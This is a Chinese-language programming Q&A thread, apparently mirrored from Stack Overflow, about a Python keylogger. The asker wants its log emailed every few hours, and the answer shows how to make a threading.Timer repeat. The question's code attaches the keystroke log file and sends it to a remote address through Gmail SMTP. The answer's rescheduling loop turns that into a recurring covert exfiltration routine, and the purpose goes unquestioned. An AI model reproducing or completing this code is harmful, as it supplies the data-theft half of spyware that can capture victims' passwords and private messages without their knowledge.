【问题标题】:keylogger project, email interval issue键盘记录器项目,电子邮件间隔问题
【发布时间】:2020-04-29 02:29:41
【问题描述】:

我正在制作一个键盘记录器,它每 x 小时发送一封附有日志的电子邮件。我尝试使用 threading.Timer() 命令;但是,它只发送一次电子邮件。以下是我的代码: 更新:作为替代方案,我还尝试在特定时间每天发送一次电子邮件,但我不知道它所需的确切命令。

keys_information = "key_log.txt"

email_address = email sender
password = password

username = getpass.getuser()

toaddr = receiver email


file_path = "text file location"
extend = "\\"
file_merge = file_path + extend

# email controls
def send_email(filename, attachment, toaddr):

    fromaddr = email_address
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "Log File"
    body = "Body_of_the_mail"
    msg.attach(MIMEText(body, 'plain'))

    filename = filename
    attachment = open(attachment, 'rb')
    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
    msg.attach(p)
    s = smtplib.SMTP('smtp.gmail.com', 587)                                     #to access the server
    s.starttls()
    s.login(fromaddr, password)
    text = msg.as_string()
    s.sendmail(fromaddr, toaddr, text)
    s.quit()

t = threading.Timer(10, send_email, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

【问题讨论】:

  • Timer 文档的哪一部分让您觉得它会运行不止一次?
  • 查看croncelery 进行定期调度。 Timer 模块对于您正在尝试做的事情毫无用处
  • 如何使用 cron 或 celery?我应该如何修改程序中的代码?

标签: python email keylogger


【解决方案1】:

我实际上建议尝试使用用于此类计划作业的系统工具来定期触发此操作,例如 Linux 上的 cron 或 Windows 上的任务调度程序。他们将确保作业按时运行。如果程序因任何原因(如系统重新启动)停止运行,在这样的程序内部执行此操作可能会失败,而 cron 作业将始终运行它。

但是,回答您的问题。您可以通过在 send_email 函数末尾创建一个新计时器来重复此操作,或者更好地创建另一个计时器调用的方法,而不是调用 send_email 然后创建一个新计时器。

# email controls
def send_email(filename, attachment, toaddr):
    ...

def trigger(*args):
    send_email(*args)
    t = threading.Timer(10, trigger, args)
    t.start()

t = threading.Timer(10, trigger, [keys_information, file_path + extend + keys_information, toaddr])
t.start()

这不会产生越来越多的线程,因为运行 t.start() 的线程在 start() 返回后退出,即在计时器线程触发之前。

注意:您设置的计时器开始时间不是您提到的“x 小时”,而是只有 10 秒。我认为那是为了测试。

同样,这可能不是如何做到这一点的正确选择。

【讨论】:

  • 我想在几秒钟(或几分钟)内使用,仅用于我的项目的测试目的。对于“def trigger(*args):”。我需要完全那样写吗?
  • 如何在 Python 中制定计划。是的,我知道如果程序停止运行或系统重新启动,它可能会失败。但我想将其用作测试和演示。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-06-20
  • 1970-01-01
  • 1970-01-01
  • 2015-05-16
  • 2014-11-26
相关资源
最近更新 更多